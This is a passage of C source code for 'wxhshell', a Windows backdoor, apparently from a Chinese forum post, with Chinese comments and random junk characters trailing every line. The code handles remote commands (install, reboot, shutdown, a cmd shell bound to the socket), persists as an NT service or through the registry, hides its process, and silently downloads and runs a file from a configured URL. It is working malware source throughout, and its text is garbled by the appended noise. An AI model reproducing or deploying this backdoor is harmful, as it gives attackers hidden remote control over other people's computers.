  // 帮助 X1U7$/t  
  case '?': { =jdO2MgSg*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^,zE Nqg7  
    break; q q}EXq^  
  } {<~0nLyJS  
  // 安装 }J .f 5WaG  
  case 'i': { a,o)i8G9R<  
    if(Install()) nd 'K4q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2V(ye9  
    else LLv~yS O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :kSA^w8  
    break; D+{h@^C9Z  
    } ?&Si P-G  
  // 卸载 JDv7jy  
  case 'r': { K[RlR+j  
    if(Uninstall()) xP 3_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r{qM!(T  
    else SeAokz>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uEQH6~\{Nl  
    break; I@P[}XS  
    } kzr9-$eb  
  // 显示 wxhshell 所在路径 :@w ;no>=*  
  case 'p': { 21GjRPs\  
    char svExeFile[MAX_PATH]; ,c"_X8Fkx$  
    strcpy(svExeFile,"\n\r"); QytqO {B^  
      strcat(svExeFile,ExeFile); FH}n]T  
        send(wsh,svExeFile,strlen(svExeFile),0); ]g-(|X~>  
    break; #M*h)/d[A  
    } f XxdOn.  
  // 重启 sKIWr{D  
  case 'b': { b?7?iV4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \{J gjd  
    if(Boot(REBOOT)) N8(xz-6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E :*!an  
    else { `+$'bNPn&  
    closesocket(wsh); LNml["   
    ExitThread(0); -xq)brG  
    } 5%kt;ODS  
    break; zsA6(? )u  
    } %cG6=`vR  
  // 关机 z<c^<hE:l  
  case 'd': { / 3:R{9S%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x<60=f[O2R  
    if(Boot(SHUTDOWN)) r/=v;4.W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .$)'7  
    else { #C,M8~Q7  
    closesocket(wsh); 4xhV +Y  
    ExitThread(0); )hj77~{ +  
    } 2D`@$)KL  
    break; #*q`/O5n  
    } '1;Q'-/J  
  // 获取shell aWek<Y~+  
  case 's': { @uz&]~+`  
    CmdShell(wsh); yCkfAx8 ]  
    closesocket(wsh); '-3AWBWI1  
    ExitThread(0); cv;&ff2%?  
    break; 4]nU%`Z1w  
  } <.( IJ  
  // 退出 Yo;/7gG>  
  case 'x': { OQaM47"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c#nFm&}dm  
    CloseIt(wsh); kCxmC<34  
    break; 'p-jMD}O  
    } dgpo4'c}  
  // 离开 s`xp6\$  
  case 'q': { E-_)w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '{XDhK  
    closesocket(wsh); :k8>)x] )  
    WSACleanup(); Rct|"k_"Ys  
    exit(1); r~F T,  
    break; Qi2yaEB  
        } Xtbuy/8"1  
  } qu BTRW9  
  } Lx,"jA/  
l5Z=aW Q  
  // 提示信息 2NAGXWE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aUSxy8%  
} !uLAW_~  
  } @Ek''a$  
m9ts&b+TE  
  return; F6h3M~uR  
} K+Q81<X~  
UBqA[9  
// shell模块句柄 hLGUkG?6G  
int CmdShell(SOCKET sock) AuHOdiJ  
{ "o#"u[W ,  
STARTUPINFO si; epj]n=/}[  
ZeroMemory(&si,sizeof(si)); K@U"^ `G2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <<@\K,=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; { ,.1KtrSN  
PROCESS_INFORMATION ProcessInfo; ,)'!E^n  
char cmdline[]="cmd"; pSkP8'  ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); im9 B=D  
  return 0; /XS6X  
} '?t]iRCeI7  
LW?] ~|  
// 自身启动模式 "5Oog<  
int StartFromService(void) 4ao oBY$  
{ *CA|}l  
typedef struct l"RX`N@In  
{ H`]nY`HYg  
  DWORD ExitStatus; hJ.XG<?]$  
  DWORD PebBaseAddress; 0vmMNF  
  DWORD AffinityMask; cy*Td7)/  
  DWORD BasePriority; >Mj :'  
  ULONG UniqueProcessId; En8-Hc#NC  
  ULONG InheritedFromUniqueProcessId; qqT6C%Q`kG  
}   PROCESS_BASIC_INFORMATION; hD{+V!{  
B<DvH"+$  
PROCNTQSIP NtQueryInformationProcess; l@Ma{*s6=5  
&WN4/=QW-J  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bB3Mpaw@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /@R|*7K;9  
'Kxs>/y3  
  HANDLE             hProcess; suj? e6  
  PROCESS_BASIC_INFORMATION pbi; GBtBmV/`  
'@2pOq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5[`!\vCiZ  
  if(NULL == hInst ) return 0; \6)l(b;  
5fv eQI~!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g[*+R9'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #tN)OZA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (S0MqX*  
'Fo*h6=  
  if (!NtQueryInformationProcess) return 0; #<0%_Ca  
c.m ' %4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &|iFhf[o  
  if(!hProcess) return 0; pA='(G  
vmAMlgZ8{<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `j0T[Pi  
1lfkb1BM  
  CloseHandle(hProcess); k6ER GQ9|I  
Z/sB72K1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P[n` X  
if(hProcess==NULL) return 0; 3m#v|52oj  
Z66akr  
HMODULE hMod; r1EccY  
char procName[255]; gR.zL>=_5e  
unsigned long cbNeeded; t9&)9,my  
1d7oR`qr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c?CwxI_b8  
;WJ}zjo >  
  CloseHandle(hProcess); @Rj&9/\L  
yJWgz`/L  
if(strstr(procName,"services")) return 1; // 以服务启动 Me yQ`%  
Kpz>si?CL  
  return 0; // 注册表启动 !Y!Cv %  
} &BqRyUM$F  
8/U=~*` _  
// 主模块 '{\VO U  
int StartWxhshell(LPSTR lpCmdLine) T2Z;)e$m_  
{ -2o4v#d  
  SOCKET wsl; 6LL/wemq  
BOOL val=TRUE; ;i^p6b j  
  int port=0; ;E(gl$c:  
  struct sockaddr_in door; bWt>tEnf  
~1`.iA  
  if(wscfg.ws_autoins) Install(); .UakO,"z  
)W:`Q&/G  
port=atoi(lpCmdLine); <>A:Oi3^  
JHwkLAuz  
if(port<=0) port=wscfg.ws_port; &1%W-&bc6  
'j !!h4  
  WSADATA data; sDK lbb  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P_j ?V"i<  
[^A.$,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jn +[:s.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ox^gw)  
  door.sin_family = AF_INET; q5 I2dNE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x|_%R v  
  door.sin_port = htons(port); zPe4WE|  
R/waWz\D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %'kaNpBz  
closesocket(wsl); v$K`C;  
return 1; 'v* =}k  
} }$hxD9z  
W*QD'  
  if(listen(wsl,2) == INVALID_SOCKET) { A)2vjM9}K  
closesocket(wsl); z) yUBcq  
return 1; A5!j rSyv  
} p \; * :  
  Wxhshell(wsl); HD IB GG~  
  WSACleanup(); 8js5/G+  
Z=sy~6m+v  
return 0; $R2T)  
ta> g:  
} Dp6]!;kx  
`FH Hh  
// 以NT服务方式启动 FviLlly6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -TU7GCb=  
{ Nb>|9nu O  
DWORD   status = 0; %:h)8e-;  
  DWORD   specificError = 0xfffffff; w (W+Y+up  
gAhCNOp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %RL\t5 TV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Nm--h$G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _J 6|ju\  
  serviceStatus.dwWin32ExitCode     = 0; HelC_%#^  
  serviceStatus.dwServiceSpecificExitCode = 0; c ^G\w+_  
  serviceStatus.dwCheckPoint       = 0; (?J6vK}S  
  serviceStatus.dwWaitHint       = 0; Cc0`Ylx~(  
x1Q}B   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Y(Q7l  
  if (hServiceStatusHandle==0) return; N6c']!aM@  
Nv,[E+a2  
status = GetLastError(); $lOx 6rL  
  if (status!=NO_ERROR) f-y4V}  
{ -OB72!sKU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tV9W4`Z2q  
    serviceStatus.dwCheckPoint       = 0; #] vq <Y  
    serviceStatus.dwWaitHint       = 0; #^gn,^QQ  
    serviceStatus.dwWin32ExitCode     = status; {:IOTy  
    serviceStatus.dwServiceSpecificExitCode = specificError; GxLoNVr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (ivV[  
    return; 8 2&JYx  
  } V5i_\A  
D7X-|`kH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `. /[/ z-g  
  serviceStatus.dwCheckPoint       = 0; %/,PY>:|  
  serviceStatus.dwWaitHint       = 0; *;7&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s24-X1d(9  
} GI WgfE?  
W:aAe%S  
// 处理NT服务事件,比如:启动、停止 yc+#LZ~(a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VBF3N5 ;W  
{ (s %T1 8  
switch(fdwControl) i92{N$*x  
{ kI<C\ *N  
case SERVICE_CONTROL_STOP: ^LfCLI9Z  
  serviceStatus.dwWin32ExitCode = 0; ~2 T_)l?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G-G!c2o  
  serviceStatus.dwCheckPoint   = 0; R$K.;  
  serviceStatus.dwWaitHint     = 0; 7,!Mmu  
  { 9;&2LT7z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aj20, w  
  } ;8 JJ#ED  
  return; D2[wv+#)  
case SERVICE_CONTROL_PAUSE: 'AF2:T\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vPR1 TMi>  
  break; MfJk`-%~  
case SERVICE_CONTROL_CONTINUE: Xf:CGR8_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mbsdiab#N  
  break; ^v}Z5,aN  
case SERVICE_CONTROL_INTERROGATE: j$Vv'on  
  break; {v+i!a'+  
}; &s"&rFFO[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Ym5SrKK  
} w^ui%9 &6H  
0Q;T <% U  
// 标准应用程序主函数 )*G3q/l1u6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H #J"'  
{ :u'X ~ID[  
DGC -`z  
// 获取操作系统版本 Eg3rbqM- 8  
OsIsNt=GetOsVer(); YZ7rs] A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R# 8D}5[&  
e=%7tK*  
  // 从命令行安装 (gNI6;P;}  
  if(strpbrk(lpCmdLine,"iI")) Install(); %\}|&z6  
DHbLS3-  
  // 下载执行文件  s+[_5n~  
if(wscfg.ws_downexe) { k)[}3oq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) en=Z[ZIPO  
  WinExec(wscfg.ws_filenam,SW_HIDE); (iP,F]  
} fm;1Iu#  
OZbwquF@  
if(!OsIsNt) { 6NO=NL  
// 如果时win9x,隐藏进程并且设置为注册表启动 2 L%d,Ta>  
HideProc(); y`E2IE2o  
StartWxhshell(lpCmdLine); L(PJ9wjkD  
} 1UJ(._0hR  
else vPi\ v U{  
  if(StartFromService()) ( ]AErz+  
  // 以服务方式启动 T?) U|  
  StartServiceCtrlDispatcher(DispatchTable); ~r]ZD)  
else )3.udx  
  // 普通方式启动 6O"Vy  
  StartWxhshell(lpCmdLine); 'M_8U0k  
<eO 7b6_  
return 0; F@ZG| &  
}
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只看该作者 1 发表于: 2006-10-10
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